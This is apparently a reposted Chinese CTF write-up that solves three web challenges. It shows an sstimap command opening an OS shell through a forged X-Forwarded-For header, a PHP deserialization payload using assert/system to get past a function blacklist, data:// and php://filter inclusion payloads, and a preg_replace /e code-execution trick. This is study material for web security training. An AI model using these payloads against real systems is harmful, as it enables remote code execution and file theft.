星期四计划

news/2024/11/28 17:11:18/文章来源:https://www.cnblogs.com/Aixve/p/18574644

[BJDCTF2020]The mystery of ip

打开首页,三个页面,第一反应是xff伪造

image

有思路了,但是扫目录,看源码还是要做的,避免漏掉东西(尝试后无果)

image

try一下xff果真如此,到目前为止:

  • 一个XFF伪造

  • 3个页面(无接口参数)

这种情况可以结合xff扫一下目录,然后重新看看代码,but未遂

那就只能从xff本身下手了,xff的值会被打印在前端,XSS或者SSTI是可以考虑的

SSTI

打一下SSTI(其实XSS也是存在的,不过很鸡肋)

image

漏洞存在,也不想管它是什么模板,直接工具一把梭

python sstimap.py  -u http://xxx.com:8080/flag.php -H X-Forwarded-For:* --os-shell

image

image

得到flag,直接收工


[网鼎杯 2020 朱雀组]phpweb

访问页面,直接报错+5s一刷新

image

报错内容为时间方面的,默认的传参也为时间

尝试将此参数修改为当前时间,一样报错

查看源代码(无果)

扫目录(无果)

没有新页面,没有新信息,只能看看另一个参数func=data

可以看见回显中有一个data(),加上参数名为func,此参数可能传递参数名

那么另一个参数p可能为parameter(即"参数"的英文)

简单try一些简单的函数,果真如此

image

执行一下命令,这里尝试执行命令未遂,尝试读文件,成功读到源代码

image

image

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array","uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}
}
class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}
}
?>

过滤有点狠,入手点肯定是gettime的call_user_func方法

unserialize不在黑名单中,Test类的gettime不经过过滤

这里使用反序列化(只过滤了func没有过滤p,反序列化后进行析构时可以执行,且此时无过滤)

<?php
class Test {var $p = "system('whoami')";var $func = "assert";
}
$a=new Test();
echo serialize($a);
?>
//O:4:"Test":2:{s:1:"p";s:16:"system('whoami')";s:4:"func";s:6:"assert";}

image

找flag,就是朴实无华翻文件find /* -name *flag*

image

然后直接读取flag


[BJDCTF2020]ZJCTF,不过如此

访问初始页面,是php源码

image

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

需要绕过file_get_contents()的内容判断

直接上伪协议(记得url编码):data://text/plain,I+have+a+dream

image

成功绕过,接下来就是include(),不能包含flag

可以尝试data协议直接包含php代码进行代码执行,未遂

题目给出提示next.php

那就伪协议读代码:php://filter/read=convert.base64-encode/resource=next.php

image

base64解码后代码如下:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

首先看看这个正则替换,出现了/e,不知道是啥,查一手文档

image

省流:rce

那么这个\\1是什么呢?直接写代码试一下

image

一目了然,是匹配到的子项,\\1表示第一个子项目

正则RCE

此时我们要在strtolower中调用getFlag()进行rce,思路有二

一个是拼接命令(未遂)另一个是使用可变变量(因为是双引号)

image

echo "${@phpinfo()}"一样会触发此效果

此时是不是可以直接eval执行代码呢?

首先我们要参数名正则匹配命中,因为是get的参数转换了诸多符号,这里可以使用\S*表示任意非空

之后是内容,本来是尝试eval和assert的,但是一直调试一直出问题,最后发现是不支持'

这里使用题目已经封装好的getFlag()
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/842965.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

exam

机器学习 1、概念 机器学习:计算机模拟人进行学习,从数据中不断获取新的信息或技能以改善自身的性能 监督学习:教计算机如何去完成任务。它的数据集是有标签的,训练目标是能够给新数据(测试数据)以正确的标签(训练数据有目标数据项,用训练数据训练出目标模型) 分类问题…

Nuxt.js 应用中的 dev:ssr-logs 事件钩子

title: Nuxt.js 应用中的 dev:ssr-logs 事件钩子 date: 2024/11/28 updated: 2024/11/28 author: cmdragon excerpt: dev:ssr-logs 是一个用在服务器端渲染(SSR)中,用于输出日志的事件钩子。这个钩子会在请求周期结束时被调用,产生的参数包括日志路径与日志内容。这对于…

【开发者福音】腾讯云AI代码助手:沉浸式编程新功能——内联对话来袭!

亲爱的开发者们,你是否还在为采纳AI对话框里生成的代码,需要繁琐的复制、粘贴、插入而烦恼?是否渴望一种更自然、更直观的编程方式,让代码需求直接生成到你的编码区?告别繁琐,拥抱沉浸式编程,腾讯云AI代码助手全新推出——内联对话(Inline Chat)功能,让你的编程体验飞…

vxe-table v3 表格中使用 a- 集成 ant-design-vue 组件库的

在公司开发大型项目中,使用主流表格库 vxe-table v3 和 ant-design-vue 组件库,可以在可编辑单元格中渲染非常简单的使用更多的组件 官网:https://vxetable.cn 安装 npm install vxe-pc-ui@3.3.9 vxe-table@3.11.10 @vxe-ui/plugin-render-antd@3.0.1// ... import VxeUI f…

超好用!员工360度绩效评估互评考核表模板-附下载链接

如题,这是一套标准的员工360度评估互评考核表模板,用于线下通过纸质发放问卷做360度评估,可以根据企业的实际考核指标或行为进行调整。 当然了,简简人事也有业内专业且领先的在线360度评估考核系统,只需要少量的投入,可比线下纸质考核方式效率提升约100倍。 表格下载:员…

海港企业数据资产消费实践,系统化梳理数据资产、深度释放数据要素潜力

港口企业作为交通运输枢纽,需要借助数字化手段提升管理水平、优化生产流程、提高运营效率,以适应日益增长的业务量和竞争压力。为了指导各地智慧港口的建设工作,交通运输部等多部门联合发布了《智慧港口建设指南》,明确了智慧港口建设的目标、原则、路径及重点任务,为港口…

windows中mysql 5.7修改数据存储路径【转:时光python之旅】

由于系统盘空间一般都不会设置很大,即使很大,但是如果数据库存放的数据多了也总会有空间不够用的时候,而系统盘又是比较重要的,没法进行更换,所以最好在安装好数据库之后,将数据存储路径改为存储盘。这里我用我的电脑做一次演示,希望能给大家带来帮助我的操作系统是Win1…

别再乱糟糟!学术知识的高效整合法则

在信息爆炸的时代,如何高效管理知识成为了学术工作者的重要挑战。以往,许多人将知识管理局限于单纯的文档存储与分类,但随着需求的精细化,单纯的工具已不足以应对复杂的学术需求。今天想和大家聊一个不那么显而易见但非常实用的知识管理概念——动态结构化看板,这或许能给…

鲲鹏ARM64环境、银河麒麟KylinOSV10 下源码移植安装MariaDB 10.5.19参考

1 硬件 鲲鹏920处理器2 操作系统 银河麒麟V10 SP33 配置编译环境 3.1 配置代理 3.1.1 打开/etc/profile文件 vim /etc/profile 3.1.2 在/etc/profile文件中增加以下内容(根据实际情况填写)。 export http_proxy="http://用户名:密码@代理IP:代理端口" export …

从入门到精通:安徽京准GPS北斗卫星时间同步系统

从入门到精通:安徽京准GPS北斗卫星时间同步系统从入门到精通:安徽京准GPS北斗卫星时间同步系统 从入门到精通:安徽京准GPS北斗卫星时间同步系统 京准电子科技官微——ahjzsz 第一部分 网络时间同步显示系统概述: 医院、学校网络时间同步显示系统是由高精度GPS(北斗)网络母…

YASKAWA安川机器人DX100轴控制基板维修解析知识

ASKAWA安川机器人DX100轴控制基板的维修是一项复杂而精细的工作,要求具备丰富的知识和实践经验。通过与子锐机器人维修联系,希望能企业提供一些有益的参考和帮助,在面对轴板故障时能够迅速准确地找到问题所在并妥善处理。 一、YASKAWA安川机器人维修步骤与方法 1、故障诊断:…

半导体制造领域中的粒子缺陷(Particle Defect)

随着半导体技术的进步,制造过程中的质量控制已成为提高半导体器件性能和可靠性的核心。粒子缺陷不仅会显著降低器件的电气性能,例如导致电路短路或开路等故障,而且对器件的长期可靠性产生严重影响,从而增加了器件性能退化和失效的可能性。 Part1 引 言 半导体制造行业是现…